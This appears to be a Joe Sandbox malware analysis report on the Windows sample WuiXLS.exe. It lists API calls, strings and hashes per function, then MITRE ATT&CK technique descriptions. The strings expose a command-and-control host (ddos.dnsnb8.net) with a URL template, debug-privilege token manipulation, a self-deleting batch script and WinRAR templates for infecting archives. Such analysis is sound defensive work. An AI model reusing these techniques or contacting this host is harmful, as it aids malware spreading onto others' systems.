Part of subcall function 0070119F: GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\WuiXLS.exe,?,?,?,?,?,?,007013EF), ref: 007011AB
Part of subcall function 0070119F: OpenProcessToken.ADVAPI32(00000000,00000028,007013EF,?,?,?,?,?,?,007013EF), ref: 007011BB
Part of subcall function 0070119F: AdjustTokenPrivileges.ADVAPI32(007013EF,00000000,?,00000010,00000000,00000000), ref: 007011EB
Part of subcall function 0070119F: CloseHandle.KERNEL32(007013EF), ref: 007011FA
Part of subcall function 0070119F: CloseHandle.KERNEL32(?,?,?,?,?,?,?,007013EF), ref: 00701203

Strings

SeDebugPrivilege, xrefs: 007013D3
C:\Users\user\AppData\Local\Temp\WuiXLS.exe, xrefs: 007013A8

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: Process$CloseCurrentHandleToken$AdjustLookupOpenPrivilegePrivilegesValueVersion
String ID: C:\Users\user\AppData\Local\Temp\WuiXLS.exe$SeDebugPrivilege
API String ID: 4123949106-1797348126
Opcode ID: 52e9e3a8fd25bca5e2cb103f3092ffda48294e57c74bb1230b65a31d24ebbe80
Instruction ID: 1be8ec2c0ec398891e12426a47d9c3873756b6a5eda659083167a101d98482ba
Opcode Fuzzy Hash: 52e9e3a8fd25bca5e2cb103f3092ffda48294e57c74bb1230b65a31d24ebbe80
Instruction Fuzzy Hash: DA314F71D00249EADF60DBA58C45FEEBBF8EB44705FA08269F504B3191D6789E45CB60

Function 0070239D Relevance: 56.2, APIs: 26, Strings: 6, Instructions: 239
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strstr.MSVCRT ref: 007023CC
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00702464
GetFileSize.KERNEL32(00000000,00000000), ref: 00702472
CloseHandle.KERNEL32(?,00000000,00000000), ref: 007024A8
memset.MSVCRT ref: 007024B9
strrchr.MSVCRT ref: 007024C9
wsprintfA.USER32 ref: 007024DE
strrchr.MSVCRT ref: 007024ED
memset.MSVCRT ref: 007024F2
memset.MSVCRT ref: 00702505
wsprintfA.USER32 ref: 00702524
Sleep.KERNEL32(000007D0), ref: 00702535
Sleep.KERNEL32(000007D0), ref: 0070255D
memset.MSVCRT ref: 0070256E
wsprintfA.USER32 ref: 00702585
memset.MSVCRT ref: 007025A6
wsprintfA.USER32 ref: 007025CA
Sleep.KERNEL32(000007D0), ref: 007025D0
Sleep.KERNEL32(000007D0,?,?), ref: 007025E5
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 007025FC
CloseHandle.KERNEL32(00000000,00000000,00000001), ref: 00702611
SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,00000000), ref: 00702642
WriteFile.KERNEL32(?,00000006,?,00000000), ref: 0070265B
SetEndOfFile.KERNEL32 ref: 0070266D
CloseHandle.KERNEL32(00000000), ref: 00702676
RemoveDirectoryA.KERNEL32(?), ref: 00702681

Strings

%s X -ibck "%s" "%s\", xrefs: 0070251E
-ibck, xrefs: 007025BA
%s M %s -r -o+ -ep1 "%s" "%s\*", xrefs: 007025C4
%s\, xrefs: 0070257F
%s%s, xrefs: 007024D8
C:\Users\user\AppData\Local\Temp\, xrefs: 007023B1, 007023B6, 007024CD

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: File$memset$Sleepwsprintf$CloseHandle$Createstrrchr$DirectoryPointerRemoveSizeWritestrstr
String ID: %s M %s -r -o+ -ep1 "%s" "%s\*"$%s X -ibck "%s" "%s\"$%s%s$%s\$-ibck$C:\Users\user\AppData\Local\Temp\
API String ID: 2203340711-1636733187
Opcode ID: 3c56a75dc5a52adb78f01fb0024f7433829eabc3a855dfcc84788594bccd3f26
Instruction ID: 955c8496260bbaa6816cfd464f147f66f206a1c755294994f12ed52d1d719376
Opcode Fuzzy Hash: 3c56a75dc5a52adb78f01fb0024f7433829eabc3a855dfcc84788594bccd3f26
Instruction Fuzzy Hash: DF8190B2504344EBD710EF60DC49FABB7ECFB84704F00461AF644D21D1DB789A4A8B6A

Function 0070274A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 83fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00702766
memset.MSVCRT ref: 00702774
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000), ref: 00702787
wsprintfA.USER32 ref: 007027AB

Part of subcall function 0070185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,76C08400,http://%s:%d/%s/%s,?,?,?,00701118), ref: 00701867
Part of subcall function 0070185B: srand.MSVCRT ref: 00701878
Part of subcall function 0070185B: rand.MSVCRT ref: 00701880
Part of subcall function 0070185B: srand.MSVCRT ref: 00701890
Part of subcall function 0070185B: rand.MSVCRT ref: 00701894

wsprintfA.USER32 ref: 007027C6
CopyFileA.KERNEL32(?,00704C80,00000000), ref: 007027D4
wsprintfA.USER32 ref: 007027F4

Part of subcall function 00701973: PathFileExistsA.KERNELBASE(\Np`Np,00000000,C:\Users\user\AppData\Local\Temp\WuiXLS.exe), ref: 00701992
Part of subcall function 00701973: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 007019BA
Part of subcall function 00701973: Sleep.KERNEL32(00000064), ref: 007019C6
Part of subcall function 00701973: wsprintfA.USER32 ref: 007019EC
Part of subcall function 00701973: CopyFileA.KERNEL32(?,?,00000000), ref: 00701A00
Part of subcall function 00701973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00701A1E
Part of subcall function 00701973: GetFileSize.KERNEL32(?,00000000), ref: 00701A2C
Part of subcall function 00701973: VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 00701A46
Part of subcall function 00701973: ReadFile.KERNELBASE(?,?,00000000,?,00000000), ref: 00701A65

DeleteFileA.KERNEL32(?,?,00704E54,00704E58), ref: 0070281A
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000000,00000000,?,00704E54,00704E58), ref: 00702832

Strings

%s%.8x.exe, xrefs: 007027BB
C:\Windows\system32, xrefs: 007027E3
%s\%s, xrefs: 007027EE
\WinRAR\Rar.exe, xrefs: 00702793
%s%s, xrefs: 007027A5
c_31892.nls, xrefs: 007027DE
C:\Users\user\AppData\Local\Temp\, xrefs: 007027B6

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: File$wsprintf$Create$CopyPathTimememsetrandsrand$AllocDeleteExistsFolderReadSizeSleepSpecialSystemVirtual
String ID: %s%.8x.exe$%s%s$%s\%s$C:\Users\user\AppData\Local\Temp\$C:\Windows\system32$\WinRAR\Rar.exe$c_31892.nls
API String ID: 692489704-3642343254
Opcode ID: d6003e1e7ca818d739bdc3c361eac477336369eeb8862def93dec743e563c984
Instruction ID: cf9c4baa759ee57fb2220b9c12530ea4b0629ae49dfdfb36d9d5981d451eda9f
Opcode Fuzzy Hash: d6003e1e7ca818d739bdc3c361eac477336369eeb8862def93dec743e563c984
Instruction Fuzzy Hash: E6212FF694021CFBEB10E7A49C89EDB77ACEB04744F4046A1B644E20C2E6789F448AA4

Function 00701581 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 67filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0070185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,76C08400,http://%s:%d/%s/%s,?,?,?,00701118), ref: 00701867
Part of subcall function 0070185B: srand.MSVCRT ref: 00701878
Part of subcall function 0070185B: rand.MSVCRT ref: 00701880
Part of subcall function 0070185B: srand.MSVCRT ref: 00701890
Part of subcall function 0070185B: rand.MSVCRT ref: 00701894

wsprintfA.USER32 ref: 007015AA
wsprintfA.USER32 ref: 007015C6
lstrlen.KERNEL32(?), ref: 007015D2
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 007015EE
WriteFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 00701609
CloseHandle.KERNEL32(00000000), ref: 00701612
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 0070162D

Strings

:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s", xrefs: 007015C0
%s%.8x.bat, xrefs: 007015A4
open, xrefs: 00701627
C:\Users\user\AppData\Local\Temp\, xrefs: 00701599
C:\Users\user\AppData\Local\Temp\WuiXLS.exe, xrefs: 0070158A, 007015B3, 007015B8, 007015B9

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: File$Timerandsrandwsprintf$CloseCreateExecuteHandleShellSystemWritelstrlen
String ID: %s%.8x.bat$:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\WuiXLS.exe$open
API String ID: 617340118-1033353869
Opcode ID: a153dea90508d003ee962c787ef7fce64f93edffc5c3c0cccf1bc6e356ca50b5
Instruction ID: edd2c95acc6e9fa887483552a3d45a559e7473e98d1f4e7328b38ee5eea2ca70
Opcode Fuzzy Hash: a153dea90508d003ee962c787ef7fce64f93edffc5c3c0cccf1bc6e356ca50b5
Instruction Fuzzy Hash: ED1177B2A0112CFFD72097A5DC89DEB7BACEF59750F004251F649E2080DE789B848BB0

Function 0070120E Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 93librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,ZwQuerySystemInformation,00000104,?,?,?,?,00701400), ref: 00701226
GetProcAddress.KERNEL32(00000000), ref: 0070122D
GetCurrentProcessId.KERNEL32(?,?,?,?,00701400), ref: 0070123F
OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,00701400), ref: 00701250
VirtualFree.KERNEL32(00000000,00000000,00008000,?,C:\Users\user\AppData\Local\Temp\WuiXLS.exe,?,?,?,?,00701400), ref: 0070129E
VirtualAlloc.KERNEL32(00000000,00050000,00003000,00000004,00000001,?,C:\Users\user\AppData\Local\Temp\WuiXLS.exe,?,?,?,?,00701400), ref: 007012B0
CloseHandle.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\WuiXLS.exe,?,?,?,?,00701400), ref: 007012F5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,00701400), ref: 0070130A

Strings

ZwQuerySystemInformation, xrefs: 00701212
ntdll.dll, xrefs: 00701219
C:\Users\user\AppData\Local\Temp\WuiXLS.exe, xrefs: 00701262

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: Virtual$FreeHandleProcess$AddressAllocCloseCurrentModuleOpenProc
String ID: C:\Users\user\AppData\Local\Temp\WuiXLS.exe$ZwQuerySystemInformation$ntdll.dll
API String ID: 1500695312-1797695780
Opcode ID: ee63abdb11f4009a676e4e3587886a4f20ce0e515abc60446fbcda3c091de9fb
Instruction ID: 7f69a1524647713a8d2c3b026fb14f25efef513a934f2e1f3f86708e3a110271
Opcode Fuzzy Hash: ee63abdb11f4009a676e4e3587886a4f20ce0e515abc60446fbcda3c091de9fb
Instruction Fuzzy Hash: E421D571705311EBD7209B65CC08B6BBAEDFB89B01F804B19F545D62C0D778DA44C7A9

Function 00701000 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000003,C0000000,00000003,00000000,00000003,00000080,00000000,HGp,http://%s:%d/%s/%s,007010E8,?), ref: 00701018
GetFileSize.KERNEL32(00000000,00000000,ddos.dnsnb8.net,76C08400), ref: 00701029
CreateFileMappingA.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 00701038
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 0070104B
UnmapViewOfFile.KERNEL32(00000000), ref: 00701075
CloseHandle.KERNEL32(?), ref: 0070108B
CloseHandle.KERNEL32(00000000), ref: 0070108E

Strings

http://%s:%d/%s/%s, xrefs: 00701000
ddos.dnsnb8.net, xrefs: 00701026
HGp, xrefs: 00701001

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: File$CloseCreateHandleView$MappingSizeUnmap
String ID: HGp$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1223616889-2904897572
Opcode ID: 46827b8024e012a84d000dab7db8cc7d36bc6cca312774f86f6ac8a14b5b1d15
Instruction ID: 1619958b9df170cf1e362f4c0083a8ad8c46523b2dfb460312c947177bd3ab9a
Opcode Fuzzy Hash: 46827b8024e012a84d000dab7db8cc7d36bc6cca312774f86f6ac8a14b5b1d15
Instruction Fuzzy Hash: F30184B150125CFFE7305F609C88E2BBBEDDB44799F008729F285A2090DA785E448B64

Function 0070189D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51processsynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 007018B1
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,?,?,000007D0,75570F00,76C08400), ref: 007018D3
CloseHandle.KERNEL32(I%p), ref: 007018E9
WaitForSingleObject.KERNEL32(?,000000FF), ref: 007018F0
GetExitCodeProcess.KERNEL32(?,?), ref: 00701901
CloseHandle.KERNEL32(?), ref: 0070190A

Strings

I%p, xrefs: 007018E0

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateExitObjectSingleWaitmemset
String ID: I%p
API String ID: 876959470-956092038
Opcode ID: 8078c33404785d45c064edda1878f18aa956689c5366c4c138bb241dbf9b8a12
Instruction ID: 759f6072cb9142cbe764d8711ee18485a0307376a234153d1e44e908e31db793
Opcode Fuzzy Hash: 8078c33404785d45c064edda1878f18aa956689c5366c4c138bb241dbf9b8a12
Instruction Fuzzy Hash: D5017172901168FBCB216BD6DC48DDF7F7EEF85720F108221F915A51A0D6355A18CAA0

Function 0070185B Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 31timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,76C08400,http://%s:%d/%s/%s,?,?,?,00701118), ref: 00701867
srand.MSVCRT ref: 00701878
rand.MSVCRT ref: 00701880
srand.MSVCRT ref: 00701890
rand.MSVCRT ref: 00701894

Strings

http://%s:%d/%s/%s, xrefs: 00701860
ddos.dnsnb8.net, xrefs: 00701862

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: Timerandsrand$FileSystem
String ID: ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 4106363736-3273462101
Opcode ID: 3d04c720fb9a01ad926d19519217ac32bdf1e4f3fffe5d7a068494fb3e645aee
Instruction ID: c404958feded1805ef498a45b7c051c807602d8add6d7106363dc8490b148744
Opcode Fuzzy Hash: 3d04c720fb9a01ad926d19519217ac32bdf1e4f3fffe5d7a068494fb3e645aee
Instruction Fuzzy Hash: 51E0D877A0021CFFE700A7F9EC8689EBBACDE84161B104627F600D3250E974FD448AB8

Function 00702692 Relevance: 12.1, APIs: 8, Instructions: 64stringsynchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000001,00000000,7556E800,?,?,007029DB,?,00000001), ref: 007026A7
WaitForSingleObject.KERNEL32(00000000,000000FF,7556E800,?,?,007029DB,?,00000001), ref: 007026B5
lstrlen.KERNEL32(?), ref: 007026C4
??2@YAPAXI@Z.MSVCRT ref: 007026CE
lstrcpy.KERNEL32(00000004,?), ref: 007026E3
lstrcpy.KERNEL32(?,00000004), ref: 0070271F
??3@YAXPAX@Z.MSVCRT ref: 0070272D
SetEvent.KERNEL32 ref: 0070273C

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: Eventlstrcpy$??2@??3@CreateObjectSingleWaitlstrlen
String ID:
API String ID: 41106472-0
Opcode ID: 06b9f75ae85fab01c0a170bacf655562c5058b5ab0d3b8adce2b2d4993541da5
Instruction ID: ade7315795ca25285b1e6d7d8d91136b9d2830ff7353c5f887f9bc98664637d7
Opcode Fuzzy Hash: 06b9f75ae85fab01c0a170bacf655562c5058b5ab0d3b8adce2b2d4993541da5
Instruction Fuzzy Hash: 1A118EB7501100EFCB219F24EC4C85A7BEEFB84720710C315FA54872A1DBBC8986DB68

Function 00701B8A Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 81stringCOMMON

Download Yara Rule

APIs

srand.MSVCRT ref: 00701BCD
rand.MSVCRT ref: 00701BD8
memset.MSVCRT ref: 00701C43
memcpy.MSVCRT ref: 00701C4F
lstrcat.KERNEL32(?,.exe), ref: 00701C5D

Strings

.exe, xrefs: 00701C57
cnKCTRfwlhhevYIYOZFRKoMoPBbETAyNStrGbzcWQIXVEtdnJFTZWfGuLHWuAKmUmFVetLDmsEPOjUQaBZhYGIRnvPsQizOfyyXCuXpSiNkDaxwdqosjlrwviBJNLHzqpecxAVxlCrdjMbkpJMgDHaSqkgUg, xrefs: 00701B8A, 00701B9C, 00701C15, 00701C49

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: lstrcatmemcpymemsetrandsrand
String ID: .exe$cnKCTRfwlhhevYIYOZFRKoMoPBbETAyNStrGbzcWQIXVEtdnJFTZWfGuLHWuAKmUmFVetLDmsEPOjUQaBZhYGIRnvPsQizOfyyXCuXpSiNkDaxwdqosjlrwviBJNLHzqpecxAVxlCrdjMbkpJMgDHaSqkgUg
API String ID: 122620767-2182911200
Opcode ID: c8ea0ef2b7f894c0494fe54c0775f9e61aa543e66d831ca375fccbc8fb0bf8e4
Instruction ID: ce71b66191dbb83d197cdca231e0d0d1657c0b4ebc8ae0ffbd97e01207acbe75
Opcode Fuzzy Hash: c8ea0ef2b7f894c0494fe54c0775f9e61aa543e66d831ca375fccbc8fb0bf8e4
Instruction Fuzzy Hash: C92181A3F44190EEE3162335AC84B6A3FC59FE3711F558399F7850B2D3D66C05918268

Function 00701319 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtSystemDebugControl,-00000094,-00000094,0000000C,0000000C,00000001), ref: 00701334
GetProcAddress.KERNEL32(00000000), ref: 0070133B
memset.MSVCRT ref: 00701359

Strings

ntdll.dll, xrefs: 0070132F
NtSystemDebugControl, xrefs: 0070132A

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: NtSystemDebugControl$ntdll.dll
API String ID: 3137504439-2438149413
Opcode ID: 8fae5c6585cd390aad0099da095f91817e82826f0a33c31c081896579cb3afc9
Instruction ID: 127b2efeec6215a772db6adab5d851ab3b4795ff8c0fd2e343364e54db9d55ea
Opcode Fuzzy Hash: 8fae5c6585cd390aad0099da095f91817e82826f0a33c31c081896579cb3afc9
Instruction Fuzzy Hash: 70016DB1A0130DFFDB10DF94AC8596FBBACFB45314F00833AF941A2180E6789A05CA55

Function 00701DF6 Relevance: 7.5, APIs: 5, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 00701E0B
lstrcpy.KERNEL32(?,00000001), ref: 00701E1C
strrchr.MSVCRT ref: 00701E2B
lstrcmpiA.KERNEL32(?,00704488), ref: 00701E48
lstrlen.KERNEL32(00704488), ref: 00701E53

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: strrchr$lstrcmpilstrcpylstrlen
String ID:
API String ID: 3636361484-0
Opcode ID: a6e0958f350a62b0e98585a6a58c4ca6115358c096b73c2cb98840328d9ca304
Instruction ID: af1d74f82995d088583af6df948247ad6b3f6e283105687629eaf333ca5e81b7
Opcode Fuzzy Hash: a6e0958f350a62b0e98585a6a58c4ca6115358c096b73c2cb98840328d9ca304
Instruction Fuzzy Hash: 7301F9B2904219EFEB205770EC48BDA77DDDB04351F844166EB45E30D0EEBCDA848BA4

Function 00706014 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0070603C
GetProcAddress.KERNEL32(00000000,00706064), ref: 0070604F

Strings

kernel32.dll, xrefs: 0070603B

Memory Dump Source

Source File: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: kernel32.dll
API String ID: 1646373207-1793498882
Opcode ID: e233b77e120cb45fea95984b5f8f0213f0d8b06c75b1eee0a8bac280b4b94044
Instruction ID: 4e373522b2b499c335e3bfa30d42a330779fcd99414174a3a0982d3621516ccf
Opcode Fuzzy Hash: e233b77e120cb45fea95984b5f8f0213f0d8b06c75b1eee0a8bac280b4b94044
Instruction Fuzzy Hash: 2CF0F0F1140289CFEF708EA4CC44BDE3BE4EF05700F90462AEA09CB281CB7886158B24

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

